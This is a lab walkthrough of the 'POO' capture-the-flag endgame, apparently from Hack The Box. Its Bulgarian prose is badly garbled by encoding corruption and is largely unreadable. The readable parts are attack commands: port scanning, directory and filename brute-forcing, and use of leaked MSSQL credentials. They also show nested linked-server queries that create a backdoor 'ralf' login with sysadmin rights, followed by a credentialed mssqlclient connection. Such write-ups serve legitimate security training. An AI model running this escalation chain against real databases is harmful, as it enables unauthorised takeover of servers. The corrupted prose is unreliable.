Π ΡΠ°Π·ΠΈ ΡΡΠ°ΡΠΈΡ ΡΠ΅ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΠ°ΠΌΠ΅ ΠΏΡΠ΅ΠΌΠΈΠ½Π°Π²Π°Π½Π΅ΡΠΎ Π½Π΅ ΡΠ°ΠΌΠΎ Π½Π° ΠΌΠ°ΡΠΈΠ½Π°, Π° Π½Π° ΡΡΠ»Π° ΠΌΠΈΠ½ΠΈ Π»Π°Π±ΠΎΡΠ°ΡΠΎΡΠΈΡ ΠΎΡ ΡΠ°ΠΉΡΠ°
ΠΠ°ΠΊΡΠΎ Π΅ ΠΏΠΎΡΠΎΡΠ΅Π½ΠΎ Π² ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅ΡΠΎ, POO Π΅ ΠΏΡΠΎΠ΅ΠΊΡΠΈΡΠ°Π½ Π΄Π° ΡΠ΅ΡΡΠ²Π° ΡΠΌΠ΅Π½ΠΈΡ Π½Π° Π²ΡΠΈΡΠΊΠΈ Π΅ΡΠ°ΠΏΠΈ Π½Π° Π°ΡΠ°ΠΊΠΈ Π² ΠΌΠ°Π»ΠΊΠ° ΡΡΠ΅Π΄Π° Π½Π° Active Directory. Π¦Π΅Π»ΡΠ° Π΅ Π΄Π° ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠ°ΡΠ΅ Π½Π°Π»ΠΈΡΠ΅Π½ Ρ ΠΎΡΡ, Π΄Π° Π΅ΡΠΊΠ°Π»ΠΈΡΠ°ΡΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈΡΠ΅ ΠΈ Π² ΠΊΡΠ°ΠΉΠ½Π° ΡΠΌΠ΅ΡΠΊΠ° Π΄Π° ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠ°ΡΠ΅ ΡΠ΅Π»ΠΈΡ Π΄ΠΎΠΌΠ΅ΠΉΠ½ ΡΡΠ΅Π· ΡΡΠ±ΠΈΡΠ°Π½Π΅ Π½Π° 5 ΡΠ»Π°Π³Π° Π² ΠΏΡΠΎΡΠ΅ΡΠ°.
ΠΡΡΠ·ΠΊΠ°ΡΠ° Ρ Π»Π°Π±ΠΎΡΠ°ΡΠΎΡΠΈΡΡΠ° Π΅ ΡΡΠ΅Π· VPN. ΠΡΠ΅ΠΏΠΎΡΡΡΠΈΡΠ΅Π»Π½ΠΎ Π΅ Π΄Π° Π½Π΅ ΡΠ΅ ΡΠ²ΡΡΠ·Π²Π°ΡΠ΅ ΠΎΡ ΡΠ°Π±ΠΎΡΠ΅Ρ ΠΊΠΎΠΌΠΏΡΡΡΡ ΠΈΠ»ΠΈ ΠΎΡ Ρ ΠΎΡΡ, ΠΊΡΠ΄Π΅ΡΠΎ ΠΈΠΌΠ° Π²Π°ΠΆΠ½ΠΈ Π·Π° Π²Π°Ρ Π΄Π°Π½Π½ΠΈ, ΡΡΠΉ ΠΊΠ°ΡΠΎ Π²Π»ΠΈΠ·Π°ΡΠ΅ Π² ΡΠ°ΡΡΠ½Π° ΠΌΡΠ΅ΠΆΠ° Ρ Ρ ΠΎΡΠ°, ΠΊΠΎΠΈΡΠΎ Π·Π½Π°ΡΡ Π½Π΅ΡΠΎ Π·Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΎΠ½Π½Π°ΡΠ° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ π
ΠΎΡΠ³Π°Π½ΠΈΠ·Π°ΡΠΈΠΎΠ½Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ
ΠΠ° Π΄Π° ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π½Π°ΡΡΠΈΡΠ΅ Π·Π° Π½ΠΎΠ²ΠΈ ΡΡΠ°ΡΠΈΠΈ, ΡΠΎΡΡΡΠ΅Ρ ΠΈ Π΄ΡΡΠ³Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ, ΡΡΠ·Π΄Π°Π΄ΠΎΡ
Π¦ΡΠ»Π°ΡΠ° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΡΠ΅ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Ρ ΡΠ°ΠΌΠΎ Π·Π° ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΠ΅Π»Π½ΠΈ ΡΠ΅Π»ΠΈ. ΠΠ²ΡΠΎΡΡΡ Π½Π° ΡΠΎΠ·ΠΈ Π΄ΠΎΠΊΡΠΌΠ΅Π½Ρ Π½Π΅ ΠΏΠΎΠ΅ΠΌΠ° Π½ΠΈΠΊΠ°ΠΊΠ²Π° ΠΎΡΠ³ΠΎΠ²ΠΎΡΠ½ΠΎΡΡ Π·Π° ΡΠ΅ΡΠΈ, ΠΏΡΠΈΡΠΈΠ½Π΅Π½ΠΈ Π½Π° ΠΊΠΎΠ³ΠΎΡΠΎ ΠΈ Π΄Π° Π±ΠΈΠ»ΠΎ Π² ΡΠ΅Π·ΡΠ»ΡΠ°Ρ Π½Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° Π·Π½Π°Π½ΠΈΡΡΠ° ΠΈ ΠΌΠ΅ΡΠΎΠ΄ΠΈΡΠ΅, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ Π² ΡΠ΅Π·ΡΠ»ΡΠ°Ρ Π½Π° ΠΈΠ·ΡΡΠ°Π²Π°Π½Π΅ΡΠΎ Π½Π° ΡΠΎΠ·ΠΈ Π΄ΠΎΠΊΡΠΌΠ΅Π½Ρ.
Intro
Π’Π°Π·ΠΈ ΠΊΡΠ°ΠΉΠ½Π° ΠΈΠ³ΡΠ° ΡΠ΅ ΡΡΡΡΠΎΠΈ ΠΎΡ Π΄Π²Π΅ ΠΌΠ°ΡΠΈΠ½ΠΈ ΠΈ ΡΡΠ΄ΡΡΠΆΠ° 5 ΡΠ»Π°Π³Π°.
ΠΠΏΠΈΡΠ°Π½ΠΈΠ΅ΡΠΎ ΠΈ Π°Π΄ΡΠ΅ΡΡΡ Π½Π° Π½Π°Π»ΠΈΡΠ½ΠΈΡ Ρ
ΠΎΡΡ ΡΡΡΠΎ ΡΠ° Π΄Π°Π΄Π΅Π½ΠΈ.
ΠΠ° Π·Π°ΠΏΠΎΡΠ½Π΅ΠΌ!
Π Π°Π·ΡΠ·Π½Π°Π²Π°ΡΠ΅Π»Π½ΠΎ Π·Π½Π°ΠΌΠ΅
Π’Π°Π·ΠΈ ΠΌΠ°ΡΠΈΠ½Π° ΠΈΠΌΠ° IP Π°Π΄ΡΠ΅Ρ 10.13.38.11, ΠΊΠΎΠΉΡΠΎ Π΄ΠΎΠ±Π°Π²ΡΠΌ ΠΊΡΠΌ /etc/hosts.
10.13.38.11 poo.htb
ΠΡΡΠ²Π°ΡΠ° ΡΡΡΠΏΠΊΠ° Π΅ Π΄Π° ΡΠΊΠ°Π½ΠΈΡΠ°ΡΠ΅ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΠΏΠΎΡΡΠΎΠ²Π΅. Π’ΡΠΉ ΠΊΠ°ΡΠΎ ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅ΡΠΎ Π½Π° Π²ΡΠΈΡΠΊΠΈ ΠΏΠΎΡΡΠΎΠ²Π΅ Ρ nmap ΠΎΡΠ½Π΅ΠΌΠ° ΠΌΠ½ΠΎΠ³ΠΎ Π²ΡΠ΅ΠΌΠ΅, ΠΏΡΡΠ²ΠΎ ΡΠ΅ Π³ΠΎ Π½Π°ΠΏΡΠ°Π²Ρ Ρ masscan. ΠΠΈΠ΅ ΡΠΊΠ°Π½ΠΈΡΠ°ΠΌΠ΅ Π²ΡΠΈΡΠΊΠΈ TCP ΠΈ UDP ΠΏΠΎΡΡΠΎΠ²Π΅ ΠΎΡ ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡΠ° tun0 ΠΏΡΠΈ 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Π‘Π΅Π³Π°, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ ΠΏΠΎ-ΠΏΠΎΠ΄ΡΠΎΠ±Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° ΡΡΠ»ΡΠ³ΠΈΡΠ΅, ΠΊΠΎΠΈΡΠΎ ΡΠ°Π±ΠΎΡΡΡ Π½Π° ΠΏΠΎΡΡΠΎΠ²Π΅ΡΠ΅, Π½Π΅ΠΊΠ° ΡΡΠ°ΡΡΠΈΡΠ°ΠΌΠ΅ ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅ Ρ ΠΎΠΏΡΠΈΡΡΠ° -A.
nmap -A poo.htb -p80,1433
ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½ ΠΈΠΌΠ°ΠΌΠ΅ IIS ΠΈ MSSQL ΡΡΠ»ΡΠ³ΠΈ. Π ΡΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ ΡΠ΅ ΡΠ°Π·Π±Π΅ΡΠ΅ΠΌ ΠΈΡΡΠΈΠ½ΡΠΊΠΎΡΠΎ DNS ΠΈΠΌΠ΅ Π½Π° Π΄ΠΎΠΌΠ΅ΠΉΠ½Π° ΠΈ ΠΊΠΎΠΌΠΏΡΡΡΡΠ°. ΠΠ° ΡΠ΅Π± ΡΡΡΠ²ΡΡΠ° Π½ΠΈ ΠΏΠΎΡΡΠ΅ΡΠ° Π½Π°ΡΠ°Π»Π½Π°ΡΠ° ΡΡΡΠ°Π½ΠΈΡΠ° Π½Π° IIS.
ΠΠ΅ΠΊΠ° ΠΏΡΠ΅Π³Π»Π΅Π΄Π°ΠΌΠ΅ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΈΡΠ΅. ΠΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌ gobuster Π·Π° ΡΠΎΠ²Π°. Π ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅ ΠΏΠΎΡΠΎΡΠ²Π°ΠΌΠ΅ Π±ΡΠΎΡ Π½Π° ΠΏΠΎΡΠΎΡΠΈΡΠ΅ 128 (-t), URL (-u), ΡΠ΅ΡΠ½ΠΈΠΊΠ° (-w) ΠΈ ΡΠ°Π·ΡΠΈΡΠ΅Π½ΠΈΡΡΠ°, ΠΊΠΎΠΈΡΠΎ Π½ΠΈ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΡΠ²Π°Ρ (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½ ΠΈΠΌΠ°ΠΌΠ΅ HTTP ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΡΠ²Π°Π½Π΅ Π·Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° /admin, ΠΊΠ°ΠΊΡΠΎ ΠΈ Π½Π°Π»ΠΈΡΠ½ΠΈΡ ΡΠ°ΠΉΠ» Π·Π° ΡΡΡ
ΡΠ°Π½Π΅Π½ΠΈΠ΅ Π½Π° ΡΡΠ»ΡΠ³Π°ΡΠ° Π·Π° Π½Π°ΡΡΠΎΠ»Π½ΠΈ ΠΊΠΎΠΌΠΏΡΡΡΠΈ .DS_Store. .DS_Store ΡΠ° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅, ΠΊΠΎΠΈΡΠΎ ΡΡΡ
ΡΠ°Π½ΡΠ²Π°Ρ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΠΊΠΈ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ Π·Π° ΠΏΠ°ΠΏΠΊΠ°, ΠΊΠ°ΡΠΎ ΡΠΏΠΈΡΡΠΊ Ρ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅, ΠΌΠ΅ΡΡΠΎΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π° ΠΈΠΊΠΎΠ½Π°, ΠΈΠ·Π±ΡΠ°Π½ΠΎ ΡΠΎΠ½ΠΎΠ²ΠΎ ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅. Π’Π°ΠΊΡΠ² ΡΠ°ΠΉΠ» ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΎΠΊΠ°ΠΆΠ΅ Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° Π½Π° ΡΠ΅Π± ΡΡΡΠ²ΡΡΠ° Π½Π° ΡΠ΅Π± ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΡΠΈΡΠ΅. Π’Π°ΠΊΠ° ΠΏΠΎΠ»ΡΡΠ°Π²Π°ΠΌΠ΅ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ΡΠΎ Π½Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ°. ΠΠ° ΡΠΎΠ²Π° ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠ΅
python3 dsstore_crawler.py -i http://poo.htb/
ΠΠΎΠ»ΡΡΠ°Π²Π°ΠΌΠ΅ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ΡΠΎ Π½Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ°. ΠΠ°ΠΉ-ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎΡΠΎ ΡΡΠΊ Π΅ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° /dev, ΠΎΡ ΠΊΠΎΡΡΠΎ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ ΠΈΠ·ΡΠΎΡΠ½ΠΈΡΠΈΡΠ΅ ΠΈ db ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ΡΠ΅ Π² Π΄Π²Π° ΠΊΠ»ΠΎΠ½Π°. ΠΠΎ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ ΠΏΡΡΠ²ΠΈΡΠ΅ 6 Π·Π½Π°ΠΊΠ° ΠΎΡ ΠΈΠΌΠ΅Π½Π°ΡΠ° Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΈ, Π°ΠΊΠΎ ΡΡΠ»ΡΠ³Π°ΡΠ° Π΅ ΡΡΠ·Π²ΠΈΠΌΠ° ΠΊΡΠΌ IIS ShortName. ΠΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΏΡΠΎΠ²Π΅ΡΠΈΡΠ΅ Π·Π° ΡΠ°Π·ΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ, ΠΊΠ°ΡΠΎ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΡΠ΅
Π Π½Π°ΠΌΠΈΡΠ°ΠΌΠ΅ Π΅Π΄ΠΈΠ½ ΡΠ΅ΠΊΡΡΠΎΠ² ΡΠ°ΠΉΠ», ΠΊΠΎΠΉΡΠΎ Π·Π°ΠΏΠΎΡΠ²Π° Ρ "poo_co". ΠΠ΅ Π·Π½Π°Π΅ΠΉΠΊΠΈ ΠΊΠ°ΠΊΠ²ΠΎ Π΄Π° ΠΏΡΠ°Π²Ρ ΠΏΠΎ-Π½Π°ΡΠ°ΡΡΠΊ, ΠΏΡΠΎΡΡΠΎ ΠΈΠ·Π±ΡΠ°Ρ
ΠΎΡ ΡΠ΅ΡΠ½ΠΈΠΊΠ° Π½Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΈΡΠ΅ Π²ΡΠΈΡΠΊΠΈ Π΄ΡΠΌΠΈ, ΠΊΠΎΠΈΡΠΎ Π·Π°ΠΏΠΎΡΠ²Π°Ρ Ρ "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Π ΠΏΠΎΠ²ΡΠΎΡΠ΅ΡΠ΅ Ρ wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Π Π½Π°ΠΌΠ΅ΡΠ΅ΡΠ΅ ΡΠΎΡΠ½Π°ΡΠ° Π΄ΡΠΌΠ°! Π Π°Π·Π³Π»Π΅ΠΆΠ΄Π°ΠΌΠ΅ ΡΠΎΠ·ΠΈ ΡΠ°ΠΉΠ», Π·Π°ΠΏΠ°Π·Π²Π°ΠΌΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ (ΡΡΠ΄Π΅ΠΉΠΊΠΈ ΠΏΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ° DBNAME, ΡΠ΅ ΡΠ° ΠΎΡ MSSQL).
ΠΡΠ΅Π΄Π°Π²Π°ΠΌΠ΅ Π·Π½Π°ΠΌΠ΅ΡΠΎ ΠΈ Π½Π°ΠΏΡΠ΅Π΄Π²Π°ΠΌΠ΅ Ρ 20%.
Π₯Ρ Π·Π½Π°ΠΌΠ΅
Π‘Π²ΡΡΠ·Π²Π°ΠΌΠ΅ ΡΠ΅ Ρ MSSQL, Π°Π· ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌ DBeaver.
ΠΠ΅ Π½Π°ΠΌΠΈΡΠ°ΠΌΠ΅ Π½ΠΈΡΠΎ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎ Π² ΡΠ°Π·ΠΈ Π±Π°Π·Π° Π΄Π°Π½Π½ΠΈ, Π½Π΅ΠΊΠ° ΡΡΠ·Π΄Π°Π΄Π΅ΠΌ SQL ΡΠ΅Π΄Π°ΠΊΡΠΎΡ ΠΈ Π΄Π° ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ ΠΊΠ°ΠΊΠ²ΠΈ ΡΠ° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅.
SELECT name FROM master..syslogins;
ΠΠΌΠ°ΠΌΠ΅ Π΄Π²Π°ΠΌΠ° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ. ΠΠ° ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ Π½Π°ΡΠΈΡΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Π‘Π»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Π½ΠΎ Π½ΡΠΌΠ° Π½ΠΈΠΊΠ°ΠΊΠ²ΠΈ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ. ΠΠ΅ΠΊΠ° Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ ΡΠ²ΡΡΠ·Π°Π½ΠΈΡΠ΅ ΡΡΡΠ²ΡΡΠΈ, ΠΏΠΈΡΠ°Ρ
ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎ Π·Π° ΡΠ°Π·ΠΈ ΡΠ΅Ρ
Π½ΠΈΠΊΠ°
SELECT * FROM master..sysservers;
Π’Π°ΠΊΠ° ΡΠ΅ Π½Π°ΠΌΠΈΡΠ°ΠΌΠ΅ Π΄ΡΡΠ³ SQL ΡΡΡΠ²ΡΡ. ΠΠ΅ΠΊΠ° ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ΡΠΎ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ Π½Π° ΡΠΎΠ·ΠΈ ΡΡΡΠ²ΡΡ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Π Π΄ΠΎΡΠΈ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° ΠΈΠ·Π³ΡΠ°Π΄ΠΈΠΌ Π΄ΡΡΠ²ΠΎ Π½Π° Π·Π°ΡΠ²ΠΊΠ°ΡΠ°.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Π€Π°ΠΊΡ Π΅, ΡΠ΅ ΠΊΠΎΠ³Π°ΡΠΎ ΠΏΡΠ°Π²ΠΈΠΌ Π·Π°ΡΠ²ΠΊΠ° ΠΊΡΠΌ ΡΠ²ΡΡΠ·Π°Π½ ΡΡΡΠ²ΡΡ, Π·Π°ΡΠ²ΠΊΠ°ΡΠ° ΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ° Π½Π° Π΄ΡΡΠ³ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»! ΠΠ΅ΠΊΠ° Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ ΠΊΠ°ΠΊΡΠ² ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΠΊΠΈ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°ΠΌΠ΅ Π½Π° ΡΠ²ΡΡΠ·Π°Π½ΠΈΡ ΡΡΡΠ²ΡΡ.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Π ΡΠ΅Π³Π° Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ Π² ΠΊΠ°ΠΊΡΠ² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ ΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° Π·Π°ΡΠ²ΠΊΠ°ΡΠ° ΠΎΡ ΡΠ²ΡΡΠ·Π°Π½ΠΈΡ ΡΡΡΠ²ΡΡ ΠΊΡΠΌ Π½Π°ΡΠΈΡ!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Π‘Π»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Π½ΠΎ ΡΠΎΠ²Π° Π΅ DBO ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ, ΠΊΠΎΠΉΡΠΎ ΡΡΡΠ±Π²Π° Π΄Π° ΠΈΠΌΠ° Π²ΡΠΈΡΠΊΠΈ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ. ΠΠ΅ΠΊΠ° ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈΡΠ΅ Π² ΡΠ»ΡΡΠ°ΠΉ Π½Π° Π·Π°ΡΠ²ΠΊΠ° ΠΎΡ ΡΠ²ΡΡΠ·Π°Π½ ΡΡΡΠ²ΡΡ.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
ΠΠ°ΠΊΡΠΎ Π²ΠΈΠΆΠ΄Π°ΡΠ΅, ΠΈΠΌΠ°ΠΌΠ΅ Π²ΡΠΈΡΠΊΠΈ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ! ΠΠ΅ΠΊΠ° ΡΡΠ·Π΄Π°Π΄Π΅ΠΌ Π½Π°ΡΠΈΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡ ΠΏΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½. ΠΠΎ Π½Π΅ Π³ΠΈ ΠΏΡΡΠΊΠ°Ρ ΠΏΡΠ΅Π· openquery, Π½Π΅ΠΊΠ° Π³ΠΎ Π½Π°ΠΏΡΠ°Π²ΠΈΠΌ ΡΡΠ΅Π· EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Π ΡΠ΅Π³Π° ΡΠ΅ ΡΠ²ΡΡΠ·Π²Π°ΠΌΠ΅ Ρ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ Π½Π° Π½ΠΎΠ²ΠΈΡ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π», Π½Π°Π±Π»ΡΠ΄Π°Π²Π°ΠΌΠ΅ Π½ΠΎΠ²Π°ΡΠ° Π±Π°Π·Π° Π΄Π°Π½Π½ΠΈ Ρ ΡΠ»Π°Π³ΠΎΠ²Π΅.
ΠΡΠ΅Π΄Π°Π²Π°ΠΌΠ΅ ΡΠΎΠ²Π° Π·Π½Π°ΠΌΠ΅ ΠΈ ΠΎΡΠΈΠ²Π°ΠΌΠ΅ ΠΏΠΎ-Π½Π°ΡΠ°ΡΡΠΊ.
Π€Π»Π°Π³ Π·Π° Π²ΡΡΡΠ°Π½Π΅ Π½Π°Π·Π°Π΄
ΠΠ΅ΠΊΠ° Π²Π·Π΅ΠΌΠ΅ΠΌ ΠΎΠ±Π²ΠΈΠ²ΠΊΠ°ΡΠ° Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° MSSQL, Π°Π· ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌ mssqlclient ΠΎΡ ΠΏΠ°ΠΊΠ΅ΡΠ° impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Π’ΡΡΠ±Π²Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈΠΌ ΠΏΠ°ΡΠΎΠ»ΠΈ ΠΈ ΠΏΡΡΠ²ΠΎΡΠΎ Π½Π΅ΡΠΎ, Ρ ΠΊΠΎΠ΅ΡΠΎ Π²Π΅ΡΠ΅ ΡΠ΅ Π·Π°ΠΏΠΎΠ·Π½Π°Ρ
ΠΌΠ΅, Π΅ ΡΠ°ΠΉΡΡΡ. ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½ ΡΠ΅ Π½ΡΠΆΠ΄Π°Π΅ΠΌ ΠΎΡ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡ Π½Π° ΡΠ΅Π± ΡΡΡΠ²ΡΡ (Π½Π΅Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎ Π΅ Π΄Π° Ρ
Π²ΡΡΠ»ΠΈΠΌ ΡΠ΄ΠΎΠ±Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ°, ΠΎΡΠ΅Π²ΠΈΠ΄Π½ΠΎ Π·Π°ΡΠΈΡΠ½Π°ΡΠ° ΡΡΠ΅Π½Π° ΡΠ°Π±ΠΎΡΠΈ).
